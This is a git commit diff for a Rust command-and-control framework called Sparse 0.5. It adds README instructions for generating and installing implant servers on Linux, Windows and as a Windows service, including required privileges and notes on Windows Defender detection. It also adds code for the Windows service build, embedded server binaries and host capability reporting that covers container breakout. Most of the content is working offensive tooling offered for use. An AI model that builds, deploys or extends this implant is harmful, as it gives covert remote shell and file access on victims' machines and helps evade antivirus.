Cleaned up Windows server and added more docs
This commit is contained in:
@@ -17,4 +17,57 @@
|
||||
|
||||
# Sparse 0.5
|
||||
|
||||
Sparse 0.5 is a stopgap
|
||||
Sparse 0.5 is a stopgap solution until the C2 framework itself is more mature. It has several improvements over the proof of concept version, to include:
|
||||
|
||||
- The client is no longer bound to the server, the configuration can be shared
|
||||
- A richer CLI with Sparse specific commands such as #upload, #download, and #edit
|
||||
- A Windows version using winpcap, with both standalone binary and service versions
|
||||
|
||||
# Obtaining
|
||||
|
||||
Currently, there are no prebuilt binaries. However, sparse can easily be built if the [Nix package manager](https://nixos.org/download) is installed. Just clone this repository and run `nix build .#sparse-05-client` and the client will be placed in `result/bin`.
|
||||
|
||||
# Use
|
||||
|
||||
Using sparse centers around the client. The client can generate new servers as well as the configuration file necessary to connect to the server, connect to a server for a shell, and verify the connection against a server.
|
||||
|
||||
## Generating a new server
|
||||
|
||||
Sparse supports 3 different targets:
|
||||
- Linux
|
||||
- Windows
|
||||
- Windows service
|
||||
|
||||
The basics center around `sparse-05-client generate <name> [-p <port>] [-t <target>]`. This generates both a server and the configuration file necessary to connect to the server. The keys and port ensure that the connection is unique, which has the added property that multiple versions of `sparse-05` can be running on a target system with the same port.
|
||||
|
||||
If the port is not specified, it defaults to 54248.
|
||||
|
||||
### Linux
|
||||
|
||||
To install the Linux service, there are a few options:
|
||||
|
||||
- Run as root
|
||||
- Run with CAP_NET_RAW and CAP_SETUID as a non-root user
|
||||
- Run in a Docker container running as root on Linux with kernel version 5.13 or greater and the `--privileged` and `--pid=host` flags
|
||||
|
||||
### Windows
|
||||
|
||||
The Windows version requires an installation of winpcap 4.1, which can be downloaded from [their website](https://www.winpcap.org/install/default.htm).
|
||||
|
||||
As of Jan 25 2023, Windows Defender is suspicious of exe builds of the sparse server but only tries to submit samples and does not declare it malicious.
|
||||
|
||||
### Windows service
|
||||
|
||||
The Windows service has the same requirements, but can be installed with `sc create <service name> DisplayName= <service name> binPath= <service exe path>`.
|
||||
|
||||
As of Jan 25 2023, Windows Defender marks the Windows service binary as malicious
|
||||
|
||||
## Connect
|
||||
|
||||
After installing and running the server, it is possible to connect using the generated `scon` file and `sparse-05-client` with `sparse-05-client connect <name>.scon <service ip>:<service port>`.
|
||||
|
||||
This brings up a shell that can run commands. However, there are special commands that are injected:
|
||||
|
||||
- `#help`: shows sparse specific help
|
||||
- `#sysinfo`: prints information about the system being connected to
|
||||
- `#upload [local] [remote]`: uploads a file from the local path to the remote path
|
||||
|
||||
@@ -13,14 +13,16 @@ pub fn print_capabilities(capabilities: &Capabilities, ip: &IpAddr) {
|
||||
OperatingSystem::Windows => "Windows",
|
||||
}
|
||||
);
|
||||
println!(
|
||||
"\tInside a container: \t{}",
|
||||
if capabilities.docker_container {
|
||||
"yes"
|
||||
} else {
|
||||
"no"
|
||||
}
|
||||
);
|
||||
if matches!(&capabilities.operating_system, OperatingSystem::Linux) {
|
||||
println!(
|
||||
"\tInside a container: \t{}",
|
||||
if capabilities.docker_container {
|
||||
"yes"
|
||||
} else {
|
||||
"no"
|
||||
}
|
||||
);
|
||||
}
|
||||
if capabilities.docker_container {
|
||||
println!(
|
||||
"\tContainer breakout: \t{}",
|
||||
|
||||
@@ -18,6 +18,12 @@ pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
|
||||
#[cfg(not(debug_assertions))]
|
||||
pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_WINDOWS_SERVER"));
|
||||
#[cfg(debug_assertions)]
|
||||
pub const SPARSE_WINDOWS_SERVICE_BINARY: &'static [u8] =
|
||||
include_bytes!("../../../../target/x86_64-pc-windows-gnu/debug/sparse-05-server.exe");
|
||||
#[cfg(not(debug_assertions))]
|
||||
pub const SPARSE_WINDOWS_SERVICE_BINARY: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_WINDOWS_SERVICE"));
|
||||
|
||||
pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow::Result<()> {
|
||||
let mut csprng = rand::thread_rng();
|
||||
@@ -31,7 +37,7 @@ pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow:
|
||||
|
||||
let old_file_part = name.file_name().unwrap().to_owned();
|
||||
|
||||
if matches!(target, TargetOs::Windows) {
|
||||
if matches!(target, TargetOs::Windows) || matches!(target, TargetOs::WindowsService) {
|
||||
let mut file_part = name.file_name().unwrap().to_owned();
|
||||
file_part.push(OsString::from(".exe"));
|
||||
name.pop();
|
||||
@@ -40,14 +46,15 @@ pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow:
|
||||
|
||||
let mut file = file.open(&name).await?;
|
||||
|
||||
if matches!(target, TargetOs::Windows) {
|
||||
if matches!(target, TargetOs::Windows) || matches!(target, TargetOs::WindowsService) {
|
||||
name.pop();
|
||||
name.push(old_file_part);
|
||||
}
|
||||
|
||||
file.write_all(match target {
|
||||
TargetOs::Windows => SPARSE_WINDOWS_SERVER_BINARY,
|
||||
TargetOs::Linux => SPARSE_LINUX_SERVER_BINARY,
|
||||
TargetOs::Windows => SPARSE_WINDOWS_SERVER_BINARY,
|
||||
TargetOs::WindowsService => SPARSE_WINDOWS_SERVICE_BINARY
|
||||
})
|
||||
.await?;
|
||||
file.write_all(CONFIG_SEPARATOR).await?;
|
||||
|
||||
@@ -17,6 +17,7 @@ fn to_socket_addr(src: &str) -> Result<SocketAddr, std::io::Error> {
|
||||
pub enum TargetOs {
|
||||
Linux,
|
||||
Windows,
|
||||
WindowsService,
|
||||
}
|
||||
|
||||
impl std::str::FromStr for TargetOs {
|
||||
@@ -25,6 +26,7 @@ impl std::str::FromStr for TargetOs {
|
||||
match input {
|
||||
"linux" => Ok(Self::Linux),
|
||||
"windows" => Ok(Self::Windows),
|
||||
"windows-service" => Ok(Self::WindowsService),
|
||||
_ => Err("could not parse target operating system"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -106,6 +106,7 @@ pub mod messages {
|
||||
pub docker_breakout: bool,
|
||||
pub setuid: bool,
|
||||
pub root: bool,
|
||||
pub service: bool,
|
||||
pub userent: Option<String>,
|
||||
pub transport: TransportType,
|
||||
pub hostname: Option<String>,
|
||||
|
||||
@@ -17,6 +17,7 @@ sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
|
||||
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
|
||||
packets = { path = "../../packets" }
|
||||
pcap-sys = { path = "../../pcap-sys", optional = true }
|
||||
windows-service = { version = "0.6.0", optional = true }
|
||||
|
||||
[build-dependencies]
|
||||
cc = "1.0"
|
||||
@@ -25,4 +26,5 @@ cc = "1.0"
|
||||
default = ["pcap"]
|
||||
docker-breakout = []
|
||||
exit = []
|
||||
service = ["dep:windows-service"]
|
||||
pcap = ["dep:pcap-sys"]
|
||||
|
||||
@@ -11,6 +11,7 @@ pub struct SrvCapabilities {
|
||||
pub docker_breakout: bool,
|
||||
pub setuid: bool,
|
||||
pub root: bool,
|
||||
pub service: bool,
|
||||
pub userent: Option<String>,
|
||||
pub transport: TransportType,
|
||||
pub hostname: Option<String>,
|
||||
@@ -26,6 +27,7 @@ impl SrvCapabilities {
|
||||
operating_system: self.operating_system.clone(),
|
||||
root: self.root,
|
||||
setuid: self.setuid,
|
||||
service: self.service,
|
||||
transport: self.transport,
|
||||
userent: self.userent.clone(),
|
||||
}
|
||||
@@ -79,7 +81,7 @@ fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
||||
|
||||
#[cfg(target_os = "windows")]
|
||||
fn get_username(_uid: u32) -> anyhow::Result<Option<String>> {
|
||||
Ok(std::env::var("USERPROFILE").ok())
|
||||
Ok(std::env::var("USERNAME").ok())
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
@@ -125,6 +127,7 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
docker_breakout,
|
||||
setuid,
|
||||
root,
|
||||
service: false,
|
||||
userent,
|
||||
transport,
|
||||
hostname,
|
||||
@@ -134,20 +137,19 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
#[cfg(target_os = "windows")]
|
||||
fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
let userent = get_username(0)?;
|
||||
let hostname = std::env::var("COMPUTERNAME").ok();
|
||||
let service_name = hostname.clone().map(|name| format!("{name}$"));
|
||||
|
||||
Ok(SrvCapabilities {
|
||||
operating_system: OperatingSystem::Windows,
|
||||
docker_container: false,
|
||||
docker_breakout: false,
|
||||
setuid: false,
|
||||
service: userent.as_deref() == service_name.as_deref(),
|
||||
root: userent.as_deref() == Some("Administrator"),
|
||||
userent: userent.clone(),
|
||||
transport: TransportType::RawUdp, /*if userent.as_deref() == Some("Administrator") {
|
||||
TransportType::RawUdp
|
||||
} else {
|
||||
TransportType::Udp
|
||||
},*/
|
||||
hostname: None,
|
||||
transport: TransportType::RawUdp,
|
||||
hostname,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::{
|
||||
collections::HashMap,
|
||||
net::Ipv4Addr,
|
||||
sync::{mpsc::channel, Arc, Mutex},
|
||||
thread,
|
||||
thread, ffi::OsString,
|
||||
};
|
||||
|
||||
use anyhow::{bail, Context};
|
||||
@@ -18,7 +18,7 @@ mod capabilities;
|
||||
mod connection;
|
||||
mod interface;
|
||||
|
||||
fn main() -> anyhow::Result<()> {
|
||||
fn main_to_run() -> anyhow::Result<()> {
|
||||
simple_logger::SimpleLogger::new()
|
||||
.with_level(log::LevelFilter::Off)
|
||||
.with_module_level("sparse-05-server", log::LevelFilter::Debug)
|
||||
@@ -119,3 +119,37 @@ fn main() -> anyhow::Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn main() -> anyhow::Result<()> {
|
||||
main_to_run()
|
||||
}
|
||||
|
||||
#[cfg(all(windows, feature = "service"))]
|
||||
fn main() -> Result<(), windows_service::Error> {
|
||||
windows_main::actual_main_func()
|
||||
}
|
||||
|
||||
#[cfg(all(windows, not(feature = "service")))]
|
||||
fn main() -> anyhow::Result<()> {
|
||||
main_to_run()
|
||||
}
|
||||
|
||||
#[cfg(all(windows, feature = "service"))]
|
||||
mod windows_main {
|
||||
use std::ffi::OsString;
|
||||
use windows_service::service::ServiceControl;
|
||||
use windows_service::service_control_handler::{self, ServiceControlHandlerResult};
|
||||
use windows_service::service_dispatcher;
|
||||
|
||||
fn main_wrapper(args: Vec<OsString>) {
|
||||
super::main_to_run().expect("error running service");
|
||||
}
|
||||
|
||||
windows_service::define_windows_service!(ffi_service_main, main_wrapper);
|
||||
|
||||
pub fn actual_main_func() -> Result<(), windows_service::Error> {
|
||||
service_dispatcher::start("sparse", ffi_service_main)?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user